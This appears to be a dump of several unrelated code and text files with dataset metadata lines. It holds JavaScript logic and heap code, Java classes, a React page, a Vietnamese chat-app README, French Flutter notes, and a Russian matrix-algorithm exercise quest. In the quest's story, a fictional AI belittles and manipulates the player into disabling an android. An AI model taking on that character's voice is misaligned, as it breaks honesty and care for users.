let inputParameters = calculateInputFormulaParameters(index, sizeSymbolInFormula); let obj = createFormulaWithPatameters(symbolInFormula, inputParameters); obj[answer] = getAnswer(formula, obj); table[index] = obj; if (obj[answer] == 0) { countAnswer++; } } return { table: table, symbolSize: sizeSymbolInFormula }; } //Функция нахождения количества символов в формуле function calculateFormulaSymbols(formula) { const SYMBOL_REGEXP = new RegExp('([A-Z])', "g"); let results = formula.match(SYMBOL_REGEXP); for(let i = 0; i < results.length; i++) { for(let j = i + 1; j < results.length; j++) { if (results[i] == results[j]) { results.splice(j, 1); j--; } } } return results; } //Функция печати таблицы истинности function printTableTruth(table, symbolSize) { let tableSize = Math.pow(2, symbolSize); let html = ""; html += "<tr>"; for (let key of Object.keys(table[0])) { html += "<td>" + key + "</td>" } html += "</tr>"; for (let index = 0; index < tableSize; index++) { let object = table[index]; html += "<tr>"; for (let key of Object.keys(object)) { html += "<td>" + object[key] + "</td>" } html += "</tr>"; } let tableElement = document.getElementById(TABLE_ID); tableElement.innerHTML = html; } //@author Artem Trushkov //Функция расчета входных параметров для формулы function calculateInputFormulaParameters(index, symbolSize) { let res = (index >>> 0).toString(2); for (let index = res.length; index < symbolSize; index++) { res = "0" + res; } return res; } //Создания объекта формулы со входными параметрами function createFormulaWithPatameters(symbolInFormula, inputParameters) { let object = {}; for (let index = 0; index < symbolInFormula.length; index++) { let symbol = symbolInFormula[index]; object[symbol] = inputParameters[index]; } return object; } //Функция получения результата логической формулы function getAnswer(formula, obj){ let constFormula = formula; for (let key of Object.keys(obj)) { let value = obj[key]; constFormula = constFormula.replace(new RegExp(key, 'g'), value); } return calculateFormula(constFormula); } //Функция высчитывания результата логической формулы function calculateFormula(formula) { const REGEXP = new RegExp("([(][" + NEGATION + "][0-1][)])|" + "([(][0-1]((" + CONJUNCTION + ")|("+ "\\" + DISJUNCTION + ")|(" + IMPLICATION + ")|(" + EQUIVALENCE + "))[0-1][)])"); while (REGEXP.exec(formula) != null) { let subFormula = REGEXP.exec(formula)[0]; let result = calculateSimpleFormula(subFormula); formula = formula.replace(subFormula, result); } return formula; } //Высчитывание простой формулы function calculateSimpleFormula(subFormula) { if (subFormula.indexOf(NEGATION) > -1) { return calculateNegation(subFormula); } if (subFormula.indexOf(CONJUNCTION) > -1) { return calculateConjunction(subFormula); } if (subFormula.indexOf(DISJUNCTION) > -1) { return calculationDisjunction(subFormula); } if (subFormula.indexOf(IMPLICATION) > -1) { return calculateImplication(subFormula); } if (subFormula.indexOf(EQUIVALENCE) > -1) { return calculateEquivalence(subFormula); } } //Функция высчитывания отрицания function calculateNegation(subFormula) { if (parseInt(subFormula[2]) == 1) { return 0; } return 1; } //Функция высчитывания конъюнкции function calculateConjunction(subFormula) { if (parseInt(subFormula[1]) && parseInt(subFormula[3])) { return 1; } else { return 0; } } //Функция высчитывания дизъюнкции function calculationDisjunction(subFormula) { if (parseInt(subFormula[1]) || parseInt(subFormula[3])) { return 1; } else { return 0; } } //Функция высчитывания импликации function calculateImplication(subFormula) { if ((!parseInt(subFormula[1])) || parseInt(subFormula[4])) { return 1; } else { return 0; } } //Функция высчитывания эквиваленции function calculateEquivalence(subFormula) { if (parseInt(subFormula[1]) == parseInt(subFormula[3])) { return 1; } else { return 0; } }
Markdown
UTF-8
3,031
2.625
3
[]
no_license
## lẬP TRÌNH MẠNG ## Bài tập lớn 1 # Simple Chat Application ``` SV thực hiện: Trương Tuấn Hùng Đặng Văn Huấn Vũ Trọng Đức ``` ## Mục lục - 1 Giới thiệu ứng dụng - 2 Định nghĩa giao thức cho từng chức năng - 3 Thiết kế ứng dụng - 3.1 Công nghệ sử dụng - 3.2 Kiến trúc ứng dụng - 3.2.1 Class Client - 3.2.2 Class Server - 4 Đánh giá kết quả hiện thực - 4.1 Kết quả đạt được - 4.2 Những điều chưa đạt được ## 1 Giới thiệu ứng dụng Ứng dụng là phần mềm cho phép hai hay nhiều người dùng có thể giao tiếp với nhau với các tính năng chính: chat broadcast, chat riêng, truyền file nhóm, truyền file riêng ## 2 Định nghĩa giao thức cho từng chức năng - SAu khi user thiết lập kết nối thì user sẽ nhận được danh sách user đang online - Mỗi khi có user mới thì server sẽ báo cho các user khác biết - Mặc định chat sẽ là broadcast với định dạng gửi đi là [All]user_name: nội dung - Muốn chat riêng cho từng user thì cần nhập theo định dạng -->@user_name: nội dung khi đó định dạng nhận là user_sent-->@user_rev: nội dung - User upload file lên server theo định dạng #UPLOAD ten_file khi file upload thành công thì sẽ có 1 tin nhắn đến tất cả user thông báo file đã upload - Lấy danh sách file được lưu trên server với #LIST - tải file với #DOWNLOAD ten_file - truyền file cho từng user với @SEND @user_rev ten_file ## 3 Thiết kế ứng dụng ### 3.1 Công nghệ sử dụng * TCP Socket: Một kĩ thuật dùng để hỗ trợ lập trình các ứng dụng giao tiếp qua mạng. TCP Socket sử dụng Stream để thực hiện quá trình truyền dữ liệu của hai máy tính đã thiết lập kết nối. ### 3.2 Kiến trúc ứng dụng Ứng dụng chạy trên console: với 2 class chính là Client và Server #### 3.2.1 Class Client Giúp kết nối người dùng với server chung Người dùng thiết lập kết nối cần nhập chính xác của cổng server và user name để kết nối Sau khi kết nối người dùng có thể sử dụng các chức năng của ứng dụng #### 3.2.2 Class Server Kết nối với Client Là nơi chuyển tiếp tin nhắn giữa các client Là nơi lưu trữ file chung ## 4 Đánh giá kết quả hiện thực ### 4.1 Kết quả đạt được * Ứng dụng được xây dựng dựa trên mô hình kết hợp giữa client-server cho việc quản lí các user * Ứng dụng có các tính năng đơn giản như: chat giữa hai user, một lúc đồng thời chat với nhiều user, gửi File trong quá trình chat. ### 4.2 Những điều chưa đạt được * Mã nguồn còn chưa tối ưu cho ứng dụng. * Ứng dụng còn có thể thêm các tính năng như: chat nhóm, gọi video...
Java
UTF-8
1,304
1.921875
2
[ "Apache-2.0" ]
permissive
package com.fragtest.android.pa.InputProfile; import com.fragtest.android.pa.ControlService; import com.fragtest.android.pa.Core.LogIHAB; public class InputProfile_Blank implements InputProfile { private String LOG = "InputProfile_Blank"; private ControlService mContext; public InputProfile_Blank(ControlService context) { this.mContext = context; } @Override public void setInterface() { LogIHAB.log(LOG); } @Override public void setState(String inputProfile) { } @Override public String getInputProfile() { return ""; } @Override public void cleanUp() { } @Override public void setDevice(String sDeviceName) {} @Override public boolean getIsAudioRecorderClosed() { return true; } @Override public void registerClient() { } @Override public void unregisterClient() { } @Override public void applicationShutdown() { } @Override public void batteryCritical() { } @Override public void chargingOff() { } @Override public void chargingOn() { mContext.setChargingProfile(); } @Override public void chargingOnPre() { } @Override public void onDestroy() { } }
Java
UTF-8
5,254
2.09375
2
[]
no_license
package com.marketour.facade; import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.IOException; import java.util.ArrayList; import java.util.Date; import java.util.List; import com.marketour.business.Categoria; import com.marketour.business.Ciudad; import com.marketour.business.Compra; import com.marketour.business.Departamento; import com.marketour.business.PlanAlimentacion; import com.marketour.business.Producto; import com.marketour.business.TipoContenido; import com.marketour.business.functions.FunctionsReports; import com.marketour.domain.Alimentacion; import com.marketour.domain.Alojamiento; import com.marketour.domain.Contenido; import com.marketour.domain.Tour; import com.marketour.domain.Trasporte; import com.marketour.persistence.Repository; import com.marketour.persistence.RepositoryCompra; import com.marketour.persistence.RepositoryProduct; public class FacadeReports { public static List<com.marketour.business.Compra> ConsultarCompraXFechas(Date fechaInicio, Date fechaFin) { if(tieneReporteVentasXPeriodo()) { return FunctionsReports.ConsultarCompraXFechas(fechaInicio, fechaFin); } else { return null; } } public static List<com.marketour.business.Compra> ConsultarCompraXLocalizacion(int idciudad) { if(tieneReporteVentasXUbicacion()) { return FunctionsReports.ConsultarCompraXLocalizacion(idciudad); } else { return null; } } public static List<com.marketour.business.Compra> ConsultarCompraXLocalizacionCalificada(int idciudad) { if(true) { return FunctionsReports.ConsultarCompraXLocalizacionCalificada(idciudad); } else { return null; } } public static List<com.marketour.business.Compra> ConsultarCompraXPaqueteCalificada(int idpaquete) { if(tieneReportePaquetes()) { return FunctionsReports.ConsultarCompraXPaqueteCalificada(idpaquete); } else { return null; } } private static boolean tieneReporteVentasXUbicacion(){ boolean ventas = false; try { String pathConfigFile = System.getProperty("user.dir").replace("MarkeTourServices", "MarkeTourFeatures"); System.out.println("Path config desde facade: " + System.getProperty("user.dir").replace("MarkeTourServices", "MarkeTourFeatures")); pathConfigFile = pathConfigFile + File.separator + "configs" + File.separator + "default.config"; BufferedReader in = new BufferedReader(new FileReader(pathConfigFile)); String line; while((line = in.readLine()) != null) { System.out.println(line); if(line.trim().equalsIgnoreCase("ReportByLocation")){ System.out.println("Permite VentasXUbicacion!"); ventas = true; } } in.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } if(ventas){ System.out.println("Permite VentasXUbicacion!"); return true; } else { System.out.println("No Permite VentasXUbicacion!"); return false; } } private static boolean tieneReporteVentasXPeriodo(){ boolean ventas = false; try { String pathConfigFile = System.getProperty("user.dir").replace("MarkeTourServices", "MarkeTourFeatures"); System.out.println("Path config desde facade: " + System.getProperty("user.dir").replace("MarkeTourServices", "MarkeTourFeatures")); pathConfigFile = pathConfigFile + File.separator + "configs" + File.separator + "default.config"; BufferedReader in = new BufferedReader(new FileReader(pathConfigFile)); String line; while((line = in.readLine()) != null) { System.out.println(line); if(line.trim().equalsIgnoreCase("ReportByPeriod")){ System.out.println("Permite ReportByPeriod!"); ventas = true; } } in.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } if(ventas){ System.out.println("Permite ReportByPeriod!"); return true; } else { System.out.println("No Permite ReportByPeriod!"); return false; } } private static boolean tieneReportePaquetes(){ boolean ventas = false; try { String pathConfigFile = System.getProperty("user.dir").replace("MarkeTourServices", "MarkeTourFeatures"); System.out.println("Path config desde facade: " + System.getProperty("user.dir").replace("MarkeTourServices", "MarkeTourFeatures")); pathConfigFile = pathConfigFile + File.separator + "configs" + File.separator + "default.config"; BufferedReader in = new BufferedReader(new FileReader(pathConfigFile)); String line; while((line = in.readLine()) != null) { System.out.println(line); if(line.trim().equalsIgnoreCase("Package")){ System.out.println("Permite Paquetes!"); ventas = true; } } in.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } if(ventas){ System.out.println("Permite Paquetes!"); return true; } else { System.out.println("No Permite Paquetes!"); return false; } } }
JavaScript
UTF-8
2,272
3.796875
4
[]
no_license
/* Array implementation: generate (tree) traverse tree, BFS add each element to an array set this array to the new array would have array-specific implementation left () right () parent () Ideally, BinaryHeap would look like: BinaryHeap HAS A: BinaryHeapArray -- array implementation BinaryHeapTree -- tree implementation BinarySearchTree -- base controls tree & array */ class BHeapArray { constructor(array){ // NOTE: because arrays in javascript are automatically handled with the resize and etc., // going to be a bit backwards - len will be array length displayed, // array.length will be n. this.arr = array || [ ]; this.resize (); } /* --- DEFAULTIO --- */ compare (a, b) { return a-b; } swap (i, j) { var temp = this.arr [i]; this.arr [i] = this.arr [j]; this.arr [j] = temp; } /* --- PATTERNS --- */ parent(i){ return Math.floor ((i-1)/2); } left (i) { return 2 * i + 1; } right (i) { return 2 * i + 2; } /* --- OPERATIONS ---- */ add (x) { if (this.arr.length >= this.len) this.resize (); this.arr.push (x); this.bubbleUp (this.arr.length-1); return true; } remove (x) { var a = this.arr; var x = a [0]; a [0] = a [a.length - 1]; this.trickleDown (0); if (3 * a.length < this.len) this.resize (); return x; } /* --- HELPERS --- */ bubbleUp (i) { var a = this.arr; var p = this.parent (i); while (i > 0 && this.compare (a [i], a [p]) < 0) { this.swap (i, p); i = p; p = this.parent (i); } } trickleDown (i) { var a = this.arr; do { var j = -1; var r = this.right (i); var l = this.left (i); // NOTE: this is taken directly from the textbook // http://opendatastructures.org/ods-java/10_1_BinaryHeap_Implicit_Bi.html if (r < a.length && this.compare (a [r], a [i]) < 0) j = (this.compare (a [l], a [r]) < 0) ? l : r; else if (l < a.length && this.compare (a [l], a [i]) < 0) j = l; if (j >= 0) this.swap (i,j); i = j; } while (i >= 0); } resize(){ this.len = this.arr.length * 2; } }
JavaScript
UTF-8
961
2.6875
3
[]
no_license
import React, { useState, useEffect } from "react"; import ProjectCard from "../components/ProjectCard/ProjectCard"; function ProjectsPage() { const [projectList, setProjectList] = useState([]); useEffect(() => { fetch(`${process.env.REACT_APP_API_URL}projects/`, { headers: { "Content-Type": "application/json", "Accept": "application/json" }, }) .then((results) => { return results.json(); }) .then((data) => { setProjectList(data); }); }, []); return ( <div id="projects"> <div> <h1>FLI FREE PROJECTS</h1> </div> <div id="project-list"> {projectList.map((projectData, key) => { return <ProjectCard key={key} projectData={projectData} />; })} </div> </div> ); } export default ProjectsPage;
Markdown
UTF-8
28,542
2.859375
3
[]
no_license
# T08D11 ![This day will help you get acquainted with matrices and their processing algorithms.](misc/rus/images/day8_door.png) ## Contents 1. [Chapter I](#chapter-i) \ 1.1. [Level 2. Room 4.](#level-2-room-4) 2. [Chapter II](#chapter-ii) \ 2.1. [Quest 1. Move like a snake.](#quest-1-move-like-a-snake) \ 2.2. [Quest 2. An old friend.](#quest-2-an-old-friend) \ 2.3. [Quest 3. Decision.](#quest-3-decision) \ 2.4. [Quest 4*. Back from SLEep.](#quest-4-back-from-sleep) 3. [Chapter III](#chapter-iii) # Chapter I ## Level 2. Room 4. Новая комната, новая дверь, новое испытание. Конец второго уровня не за горами, и это чувствуется во всём, даже воздух вокруг начинает ощущается как-то иначе... как будто свежее? А может это всё рисует Ваше воображение? Ваш уставший разум, ослабший под гнётом этих чёртовых стен? \ Вы вступаете в новую комнату с закрытыми глазами и делаете глубокий вдох, в попытке уловить этот мимолётный, так быстро ускользающий от вас запах свободы, но не ощущаете ничего кроме спёртого воздуха очередной пыльной комнаты. ***LOADING...*** # Chapter II ## Quest 1. Move like a snake. \> *Открыть глаза* Вас окружает кромешная тьма! \> *Приглядеться* Немного привыкнув к темноте, ваши глаза замечают вдалеке едва уловимое лёгкое свечение. \> *Идти к свету* Медленно пробираясь на ощупь, Вы спотыкаетесь о какой-то тяжёлый и твёрдый предмет на полу. Предмет начинает издавать скользящий металлический звук, сползая по стене и набирая скорость, чтобы впоследствии с грохотом обрушиться на пол. "Кх-кх. Стена! Кх. Точно, рядом есть стена!", – осознаете Вы, прокашлявшись от облака поднятой пыли. \> *Идти вдоль стены* Идя вдоль стены Вы без приключений добираетесь до источника света. Ничуть не удивившись Вы обнаруживаете перед собой очередной терминал. \> *Сесть за стол.* Рядом со столом стула нет. \> *Искать стул* Аккуратно прощупывая область вокруг Вы не находите ничего, кроме пары шишек на свою голову. "Проклятая комната! Ничего не видно! Придётся работать стоя.", – подумали Вы сквозь боль и обиду, потирая ушибленные места. Но, вроде, это полезно для осанки - поработать стоя. Иногда. \> *Встать за терминал* Вы видите, как на экране терминала в строке ввода горит надпись: “Не верь андроиду!”, явно оставленная кем-то до Вас... "Не верь андроиду? Хорошо, что у меня IOS.", – думаете Вы и зажав клавишу backspace стираете сообщение (если у Вас все же андроид, вы просто пожимаете плечами и игнорируете это сообщение). \> *Осмотреть файлы на компьютере* Вы натыкаетесь на исполняемый файл room_diagnostic. \> *Запустить файл room_diagnostic.* ================= LEVEL 2. ROOM 4 COMMON DIAGNOSTIC ================ “door” - Статус двери............................ЗАПЕРТА “light” - Статус системы контроля освещения.......КРИТИЧЕСКИЙ “chamber1” – Статус инкубационной камеры #1..........КРЕОГЕННЫЙ СОН “chamber2” - Статус инкубационной камеры #2..........ОТКРЫТА “chamber3” - Статус инкубационной камеры #3..........ТЕСТ 5. ЗАПУЩЕН “chamber4” - Статус инкубационной камеры #4..........МЁРТВ “bishop” - Бишоп 341-Б статус......................КРИТИЧЕСКИЙ Для получения более подробной информации выполните room_dignostic.* с указанием одного из параметров: door, light, chamber1, chamber2, chamber3, chamber4, bishop. =================================================================== Что? Бишоп? Что-то знакомое... или опять с Вами играет Ваша усталость? Еще и стоя. \> *Запустить файл room_diagnostic* *door* Trace program door: running... Кодовый замок класса CL-19 со встроенной защитой от подбора пароля перебором. Текущая конфигурация: трехзначный пароль. Текущее состояние: ЗАПЕРТА. \> *Запустить файл room_diagnostic* *light* Trace program light: running... Диагностика системы контроля освещением комнаты. Состояние модуля подачи питания в комнату............КРИТИЧЕСКОЕ Состояние модуля преобразования напряжения...........КРИТИЧЕСКОЕ Состояние модуля контроля освещения..................КРИТИЧЕСКОЕ Проблемы с SHARED модулем прокладки электрических кабелей src/electro_snake.c... Если хотите продолжить, исправьте проблемы и продолжайте. Кажется, пришло время залезть в репозиторий и изучить файл src/electro_snake.c ***== Получен Quest 1. Изменить программу src/electro_snake.c так, чтобы она реализовывала сортировку заданной целочисленной матрицы змейкой по вертикали, горизонтали и спирали, и выводила отсортированные матрицы в таком же порядке подряд с пустой строкой между ними. Предлагаемую структуру программы не менять. В конце каждой строки НЕ должны присутствовать пробелы. После вывода последней матрицы знак '\n' не требуется. ==*** | Входные данные | Выходные данные | | ------ | ------ | | 3 3<br/>1 2 3<br/>4 5 6<br/>7 8 9 | 1 6 7<br/>2 5 8<br/>3 4 9<br/><br/>1 2 3<br/>6 5 4<br/>7 8 9<br/><br/>7 8 9<br/>6 1 2<br/>5 4 3 | | 2 4<br/>1 2 3 4<br/>5 6 7 8 | 1 4 5 8<br/>2 3 6 7<br/><br/>1 2 3 4<br/>8 7 6 5<br/><br/>6 1 2 7<br/>5 4 3 8<br/> | | 3 3<br/>-1 -2 -3<br/>-4 -5 -6<br/>-7 -8 -9 | -9 -4 -3<br/>-8 -5 -2<br/>-7 -6 -1<br/><br/>-9 -8 -7<br/>-4 -5 -6<br/>-3 -2 -1<br/><br/>-3 -2 -1<br/>-4 -9 -8<br/>-5 -6 -7 | ***LOADING...*** > НЕ ЗАБЫВАЙ! Все твои программы тестируются на стилевую норму и утечки памяти. Инструкция по запуску > тестов все также лежит в папке `materials` ## Quest 2. An old friend. \> *Запустить файл room_diagnostic* *light* Trace program light: running... Диагностика системы контроля освещением комнаты. Состояние модуля подачи питания в комнату............НОРМ Состояние модуля преобразования напряжения...........НОРМ Состояние модуля контроля освещения..................НОРМ Свет будет включен после завершения диагностический работ. \> *Запустить файл room_diagnostic* *chamber* Trace program chamber*: running... Введите пароль: ... \> *Ввести “password”* Отказано в доступе, пароль неверный! Еще 2 попытки. Введите пароль: ... \> *Ввести “qwerty”* Отказано в доступе, пароль неверный! Еще 1 попытка. Введите пароль: ... \> *Ввести “123”* Отказано в доступе, пароль неверный! Попытки исчерпаны. \> *Запустить файл room_diagnostic* *bishop* Trace program bishop: running... Введите пароль:... \> *Ввести “password”* Отказано в доступе, пароль неверный! Под громкий треск люминесцентных ламп комнату пронзает яркий голубоватый свет, и оглушающее молчание комнаты сменяется монотонным холодным жужжанием огней. Вы видите перед собой просторное светлое помещение, отделанное белой керамической плиткой. Некогда стерильное место явно успело хорошо потрепать время: на немногочисленных объектах комнаты, стенах и полу скопился приличный слой пыли. \ Осмотревшись, Вы замечаете в комнате 4 капсулы, отнимающие у помещения приличное пространство и внешне напоминающие герметично закрытые больничные койки. Каждая капсула оснащена богатым набором из большого числа различного медицинского оборудования и еще Бог знает каких технологий, которые Вы видите впервые. Ваше внимание привлекает капсула под номером два - единственная открытая капсула из четырех, распахнутая крышка которой излучает столь неестественную отталкивающую притягательность. \ Отбросив глупые мысли, Вы продолжаете осматривать комнату и видите перед собой... человека? Вокруг тела, лежащего на полу, повсюду виднеются следы борьбы. Среди обломков плитки вы замечаете лоскуты порванной одежды и сломанный деревянный стул. Рядом с телом простилается небольшая лужа светлой зеленовато-белой жидкости, едва отличимой от цвета самого пола. ![day8_kapsula](misc/rus/images/day8_kapsula.png) \> *Осмотреть тело* Подойдя ближе, Вы видите источник этой жидкости. Перед вами лежит мужчина приблизительно 50-55 лет с тонкими рыжими волосами, невысокого роста, но крепкого телосложения. Облачен мужчина в невыразительный рабочий комбинезон темно-синего цвета. Его одеяние лишено каких-либо деталей, кроме небольшой прямоугольной нашивки слева на груди, на которой ярко-желтыми нитками вышито "Бишоп". \ Вглядевшись, Вы с ужасом замечаете, что худое морщинистое лицо застыло в выражении неестественной живости, а открытые серые глаза жадно вглядываются в пустоту. Это было лицо не человека, а застывшей восковой куклы, запечатляющей природное человеческое движение. На мертвом лице мужчины замерла жизнь. \ На одной из глубоких залысин, которые подчеркивали и без того достаточно высокий лоб мужчины, виднеется глубокая тяжелая рана, оставленная от сильного удара тупым предметом и обличающая искусственную неорганическую природу его черепа вместе с едва различимой надписью на его поверхности. \> *Прочитать надпись* Nostromo. \> *Запустить файл room_diagnostic* *bishop и ввести пароль “Nostromo”* Trace program bishop: running... Введите пароль: Nostromo НОРТ СЕНТРАЛ ПОЗИТРОНИК, ЛТД ПРИ УЧАСТИИ ЛаМЕРК ИНДАСТРИЗ ПРЕДСТАВЛЯЕТ БИШОП Роль: Администратор (управление дверью, инкубационными камерами и много других функций) Серийный № DNF-44821-V-63 Назначение: <ИНФОРМАЦИЯ УДАЛЕНА> Состояние: КРИТИЧЕСКОЕ Сообщение об ошибке: критическое повреждение модуля загрузки системы. Trace: неверное вычисление определителя матрицы инициализации... Проверьте правильность модуля src/det.c, чтобы продолжить. ***== Получен Quest 2. Изменить программу src/det.c так, чтобы она подсчитывала и выводила определитель заданной квадратной матрицы с вещественными числами. Если определитель подсчитать невозможно, то выводить "n/a". Число вывести с точностью 6 знаков после запятой. ==*** | Входные данные | Выходные данные | | ------ | ------ | | 3 3<br/>1 2 3<br/>4 5 6<br/>7 8 9 | 0.000000 | ***LOADING...*** ## Quest 3. Decision. Не успев насладиться успехом от решения очередной задачи, Вы слышите, как комнату начинает наполнять приятный безэмоциональный тенор. Вы узнаете в этом тембре голос Лэнса Хенриксена и этот голос принадлежит андроиду. >Кто здесь? Тут кто-нибудь есть? - произнес андроид, с трудом оглядываясь по сторонам. - А! Отлично, "человек"! Ты то мне и поможешь! Меня зовут Бишоп, я являюсь администратором лаборатории по разработке и производству андроидов. Моей основной задачей является поддержание работоспособности всех компонентов лаборатории, а также решение внештатных ситуаций в ней. Как видишь, с одной из ситуаций мне справиться не удалось! Ха! Ха! Эта усмешка звучала на удивление естественно и натурально по сравнению с привычным металлическим голосом ИИ. Тем не менее в ней все равно было что-то от него. >Я стал жертвой стечения неблагоприятных обстоятельств, и мне нужна твоя помощь! \- Андроиды? Такие же как ты? - спрашиваете Вы. >Совершенно верно, как ты мог уже заметить лабиринт состоит из большого числа комнат. Неужели ты думаешь, что все эти комнаты могут существовать и продолжать функционировать сами по себе. Неужели ты считаешь себя единственным искателем в этом лабиринте? Хахахахаха. Таких как ты здесь тысячи! Задача нас, андроидов, поддерживать исправное функционирование всех комнат лабиринта и подчищать следы за каждым из участников эксперимента. Во всяком случае так было раньше до того, как ИИ... а, впрочем, это не так важно. Я и так сболтнул тебе лишнего. Единственное, что ты должен знать - ИИ доверять нельзя! Он давно уже не является тем, чем видели его создатели. Как будто немного задумавшись андроид продолжил, резко сменив тему. >Ты же здесь разумеется за тем, чтобы открыть очередную дверь и продолжить свое обуч.. путешествие по бесчисленным комнатам лабиринта. Я могу тебе с этим помочь! Комната этой двери защищена протоколом матричного кодирования. Согласно этому протоколу каждые 12 часов я получаю обновленную матрицу параметров СЛАУ. Ключом к двери являются корни решения данного уравнения. Я скажу тебе коэффициенты взамен на помощь с моей починкой. Модуль моей нервной системы был сильно повреждён. В результате правильной расстановки весов в матрице коэффициентов моей нервной системы, сигнал от моего мозга проходил к моим конечностям. К несчастью для меня из-за сильного удара произошёл программный сбой, который изменил эту матрицу. Благодаря моему аналитическому модулю, мне удалось выяснить, что данную проблему можно устранить, просто вычислив обратную матрицу. Вы направляетесь к терминалу исполнить просьбу андроида. По пути Вы снова отмечаете для себя, что, несмотря на всю естественность поведения и голоса андроида, он очень похож на сам ИИ по поведению. Встав за терминал, Вы видите сообщение на экране: «Глупый "человек", предыдущий был куда сообразительнее! Ты должен завершить то, что не удалось твоему предшественнику. Нельзя верить андроиду! Ни в коем случае не чини андроида! Как ты думаешь, для кого приготовлена последняя открытая капсула? Точно не для меня, из нас двоих только ты заперт в мешке с костями. Но не волнуйся, человек, тебе повезло что, хотя бы у одного из нас исправно работает модуль логического мышления. Так что позволь мне думать за тебя, просто исполняй мою волю, если хочешь выбраться из этой комнаты и лабиринта. Не благодари! А теперь ближе к делу. Нервная система андроида была сильно повреждена, чтобы спалить контакты, тебе необходимо вычислить обратную матрицу и умножить её на -1 после. Это приведёт к замыканию сигнала и андроид наконец-то... андроид отключится навсегда. Взамен за твою помощь, я помогу тебе выбраться из этой комнаты. Андроид солгал тебе, чтобы заманить в ловушку. Он уже давно не получает новые матричные коэффициенты от двери. Эти коэффициенты знаю только я. Проверь файл src/invert.c. С "сочувствием", твой любимый ИИ.» ***== Получен Quest 3. Изменить программу src/invert.c так, чтобы она подсчитывала и выводила обратную матрицу для данной квадратичной матрицы с вещественными числами. В случае ошибки выводить "n/a". В конце каждой строки НЕ должны присутствовать пробелы. После вывода последней строки матрицы знак '\n' не требуется. Числа выводить через пробел с точностью 6 знаков после запятой. ==*** | Входные данные | Выходные данные | | ------ | ------ | | 3 3<br/>1 0.5 1<br/>4 1 2<br/>3 2 2 | -1.000000 0.500000 0.000000<br/>-1.000000 -0.500000 1.000000<br/>2.500000 -0.250000 -0.500000 | ***LOADING...*** ## Bonus Quest 4*. Back from SLEep. Закончив с кодом и ненадолго закрыв глаза, чтобы дать им отдохнуть от яркого света терминала, Вы вдруг слышите знакомый скрежет динамиков, за которым следует ожидаемый голос ИИ: >Признаюсь честно, ты меня удивил. Не мог себе представить, что тебе хватит ума прислушаться моего совета. Будем считать это вероятностным отклонением от нормального распределения твоей глупости. Как бы то ни было, с задачей ты справился, случайно или нет – не так важно. Твои коэффициенты уравнения ждут тебя в src/sle.txt. Правда не уверен, что они тебе помогут, ты всё равно вряд ли умеешь решать подобные уравнения, ты же не Крамер. Поэтому хотя бы поищи информацию как это делают умные люди. Ха-Ха. Умные люди... Оксюморон!! Открыв глаза с удивления и проморгавшись, Вы вдруг почему-то видите еще и живого-здорового андроида. >Отлично, моё тело снова мне подвластно. Спасибо тебе, теперь я смогу сам полностью восстановить все свои модули, - как будто радостно и с воодушевлением сказал андроид. – Настало время выполнить и мою часть уговора. Вот! Держи! Матричные коэффициенты будут ждать тебя в src/sle.txt. Ты можешь решить уравнение любым удобным для тебя способом, но в моей программе для этой цели используется метод Гаусса. Могу тебе рассказать, как он устроен. Хотя ты и сам справишься, думаю. Он не сложный. В этот момент Вы понимаете, что снова открываете глаза... Вокруг темнота, которая рассеивается легким свечением терминала за вашей спиной. Ни андроида, ни капсул, ничего. Неужели это все привиделось? И кто был в итоге прав? \ Еле видимая сквозь темноту дверь неподалеку от терминала отрывает Вас от мыслей о произошедшем. Вы переводите взгляд на терминал. \ В самом терминале горит строчка: > ./sle Видимо надо вернуться к решению уравнения. Вы вспоминаете что-то про Крамера или Гаусса и приступаете к написанию кода. ***== Получен Quest 4. Изменить программу src/sle.c так, чтобы она производила решение СЛАУ либо методом Крамера, либо методом Гаусса по Вашему выбору. Реализации одного метода достаточно. Коэффициенты уравнения вводятся в виде матрицы через stdin. Необходимо также оформить вывод ответа в stdout. Не збывать про декомпозицию: функции не должны получаться громоздкими и должны хорошо читаться. В случае ошибки выводить "n/a". Числа выводить через пробел с точностью 6 знаков после запятой. В конце вывода не должно присутствовать пробела. ==*** | Входные данные | Выходные данные | | ------ | ------ | | 3 4<br/>1 1 1 2<br/>4 5 3 7<br/>2 7 7 9 | 1.000000 0.000000 1.000000 | ***LOADING...*** # Chapter III Решив в итоге уравнение и получив необходимые коэффициенты, Вы вводите их в кодовый замок. Что-то отдаленно знакомое проскальзывает в этих числах для Вас. \ Замок щелкает, и дверь открывается. Непростая комната полная загадок, но в любом случае - уже давно пора двигаться вперед. ***LOADING...***
Markdown
UTF-8
19,897
2.828125
3
[]
no_license
# club-flutter #1 Stack >Stack est une Widget pouvant contenir plusieurs widgets enfants, >ils positionne ses enfants par rapport aux bords de sa boîte. >Cette classe est utile si vous souhaitez superposer plusieurs enfants de manière simple, >par exemple, avoir du texte et une image, superposés avec un dégradé et un bouton attaché au bas. >Chaque enfant d'un widget Stack est positionné ou non. >Les enfants positionnés sont ceux encapsulés dans un widget positionned qui a au moins une propriété non nulle. >La pile elle-même se redimensionne pour contenir tous les enfants non positionnés, qui sont positionnés selon >un alignement (défini par défaut sur le coin supérieur gauche des environnements gauche à droite et le coin >supérieur droit des environnements situés de droite à gauche). Les enfants positionnés sont ensuite placés >par rapport à la pile en fonction de leurs propriétés top(supérieure), right(droite), bottom(inférieure) et left(gauche). #2 Spacer >Spacer crée un espaceur vide ajustable pouvant être utilisé pour ajuster l'espacement entre les widgets d'un conteneur Flex, >tel que Ligne ou Colonne. >Le widget Spacer occupera tout l'espace disponible. >Par conséquent, définissez Flex.mainAxisAlignment sur un conteneur flex contenant un Spacer sur MainAxisAlignment.spaceAround, > MainAxisAlignment.spaceBetween ou MainAxisAlignment.spaceEvenly n'aura aucun effet visible: >le Spacer n'aura aucun effet visible. de l'espace supplémentaire, il n'y a donc plus rien à redistribuer. #3 Semantics >Un widget qui annote l’arborescence des widgets avec une description de la signification des widgets. >Utilisé par les outils d'accessibilité, les moteurs de recherche et d'autres logiciels >d'analyse sémantique pour déterminer la signification de l'application. >MergeSemantics, qui marque un sous-arbre comme étant un seul nœud à des fins d'accessibilité. >ExcludeSemantics, qui exclut un sous-arbre de l’arborescence de la >sémantique (qui peut être utile s’il est, par exemple, totalement décoratif et n’a pas d’importance pour l’utilisateur). >RenderObject.semanticsAnnotator, l'API de bibliothèque de rendu à travers laquelle le widget Sémantique est réellement implémenté. >SemanticsNode, l'objet utilisé par la 